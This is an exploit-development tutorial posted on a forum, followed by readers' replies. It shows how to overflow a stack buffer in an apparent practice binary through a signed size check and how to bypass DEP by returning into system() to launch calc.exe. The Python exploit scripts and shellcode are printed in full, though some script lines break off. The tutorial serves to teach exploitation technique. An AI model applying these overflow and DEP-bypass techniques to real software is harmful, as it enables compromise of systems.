Bypass Data Execution Protection (DEP)


Hey folks! this topic details how to overflow a buffer, bypass DEP (Data Execution Prevention) and take control of the executable

Recommended Prerequisites

  • C/C++ language, a basic level would be fine
  • x86 Intel Assembly
  • Familiarity with Buffer Overflow
  • Debuggers/Disassembly

The binary


Okay, first thing we need to do is see what the executable brings us, so we run it.


Here we see that it is asking for a file file.dat but as it does not exist it tells us that it cannot be opened, Once created we see that it shows us a message with 3 values at 0 that seem to correspond to 3 variables (cookie, cookie2 and size) and nothing else.

Since we don’t know what it does, let’s take a look at it.

This function has 5 variables, 4 of which are initialized at 0 and one at 32h (“2”), there is a pointer to LoadLibrary that is stored in 0x10103024 then makes a fopen to “fichero.dat” file in binary read mode, stores the FILE pointer in 0x10103020 and finally checks if it exists, if it does not exist it will go to 0x101010d3 and closes (as we saw before) and if it exists it goes to 0x101010e9, let’s look there


Ok, in this procedure it first reads 4 bytes of fichero.dat with fread and stores them in a pointer to a block of memory look (ebp-c), fread returns the total number of elements read and stores it in ebp-8, it does fread of 4 bytes again for the file and stores them in a pointer to ebp-10 then it does it one more time of 1 byte and stores it in a pointer to ebp-1, finally it compares this byte with [ebp-14] which is 32h (“2”) and if it is less than or equal (jle) it goes to 0x10101155 if it doesn’t, show a message saying “Nos fuimos al carajo” (We’re going to fuck off) and it closes.

Then we write in the file 8 bytes + the correct byte (“2”) and we enter 0x10101155, for example:

1234 + 5678 + 2


Well, here it pushes the saved bytes with fread and prints them, allocates 50 bytes (32h) of memory with malloc, stores the pointer to the allocated memory in ebp-1c then push the first 8 bytes of “fichero.dat” to 0x10101010, let’s look over there


Okay, what it does here is it takes the first 4 bytes of fichero.dat and adds them to the following 4 bytes then the result is compared to 58552433h, if the condition is correct, loads “pepe.dll”, then let’s make sure the condition is met (as it is little endian we have to put the bytes at backwards)

As not all characters meet the condition as “0” (30h) +"(" (28h) = 58h (1 byte correct) we do a script that does it and ready

data = "\x21\x1210" + "\x12\x12$(" + "2"
with open("fichero.dat", "w") as file:

Okay, this must meet the condition, let’s see.


Well, let’s see what’s it now.


Once we leave 0x10101010 we see that it reads [ebp-1] bytes of fichero.dat with fread and stores it in a buffer pointing to (ebp-54), Okay, here’s a buffer overflow, let’s analyze it.

First we saw that the ninth byte of “fichero.dat” was stored in [ebp-1], then compared to [ebp-14] (“2”)


Well, now we see that that byte ([ebp-1]) is used as size of fread that will store that number of bytes (size) in a buffer (ebp-54) of 52 bytes, as the nearest variable is ebp-20, [ebp-54] - [ebp-20] = [ebp-34], so 34h (52d), we can also see it in the IDA stack, right click -> array -> ok



Okay, knowing all that, how could we overflow the buffer?

[ebp-1] is the ninth byte of fichero.dat, the size of fread for store in the buffer [ebp-54] and must also be less than or equal to 32h (“2”).

So we know that negative numbers in hexadecimal are higher in decimal, so if we put a negative number in hexadecimal it would allow us to enter more bytes than allowed (52d) and this is because it is signed (jle)

0x10101139 movsx ecx,  byte ptr ss:[ebp-1]
0x1010113d cmp ecx,    dword ptr ss:[ebp-14]
0x10101140 jle         stack9b.10101155

Let’s try to get to the edge of the buffer and at the same time overflowing 2 bytes of the fread stipulation (50 bytes, 32h).

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + "A" * 52

with open("fichero.dat", "w") as file:


Cool!!! Let’s see what else there is to see if we can control the retn.

Well, now there is a procedure where it copy the buffer bytes [ebp-54] for the block in memory allocated by malloc [ebp-1c]

So, if I fill out [ebp-1c] with “\x41x41x41\x41” he won’t be able to write because it’s not a valid address, let’s find one that is.


All right, let’s check the stack, see how many bytes it takes to get to the start of retn and control it.


Okay, let’s set up our exploit

import subprocess

shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" + "\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1"

buff = "\x41" * 52
ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10"    # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4    # ebp
r = shellcode

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + ebp_20 + ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r

with open("fichero.dat", "w") as file:

Well, we already have EIP under control but now it doesn’t allow me to execute my shellcode, this is due to DEP (data execution prevention).

Summarizing up, DEP changes the permissions of the segments where data is stored to prevent us from executing code there -ricnar

So to bypass the DEP we can do ROP (return oriented programming) which is basically using gadgets that are program’s executable code to change the stack permissions with some api like VirtualProtect or VirtualAlloc

Looking for gadgets in pepe.dll I couldn’t find VirtualAlloc, but there is a pointer to system() , would only be missing a return that can be exit() and a fixed place that we can control to pass it a string to system()


Now only the string for system() would be missing, we can use the address with write permission


Here I set up the stack because malloc only assigned 50 bytes and then had no control over the eip and that’s how the exploit would look.

import subprocess

system = "\x24\x98\x01\x78"    # system()
calc = "calc.exe"

buff = "\x41" * 42
#ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10"    # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4    # ebp
r = system
exit = "\x78\x1d\x10\x10"    # exit()
ptr_calc = "\x5a\x30\x10\x10"

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + calc + "\x41" * 6 +  ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r + exit + ptr_calc

with open("fichero.dat", "w") as file:


Ay nice! That’s basically the windows counterpart to my exploit mitigation series (DEP edition).

Nice to see both sides covered now.



¿De donde has sacado el programa ( si se puede saber )? ¿Lo encontraste por casualidad?

Hoping to see more content like this, and happy to see a spanish fellow around here :slight_smile:


Awesome tutorials on the exploit development category.

Can we also have challenges on these topics, that would allow us to practice these concepts hands on.


There’s the exploit-excercises website, it’s pretty good, done a few of them.

(John Marston) #6

Nice explanation! This actually helped clear some things up for me when it comes to ROP


Claro que sí,


Hostias el narvaja. Mercis!

(Marty McPwn) #9

Nice post, thanks for sharing.

Copado encontrarse con gente hispana. Saludos :wink:

(Cody Johnston) #10

Fantastic article! Very well-written. Complete, Concise, and easy to understand. Please keep up the great work!


Gracias por el aporte, compa! :smiley:


+1, very well written.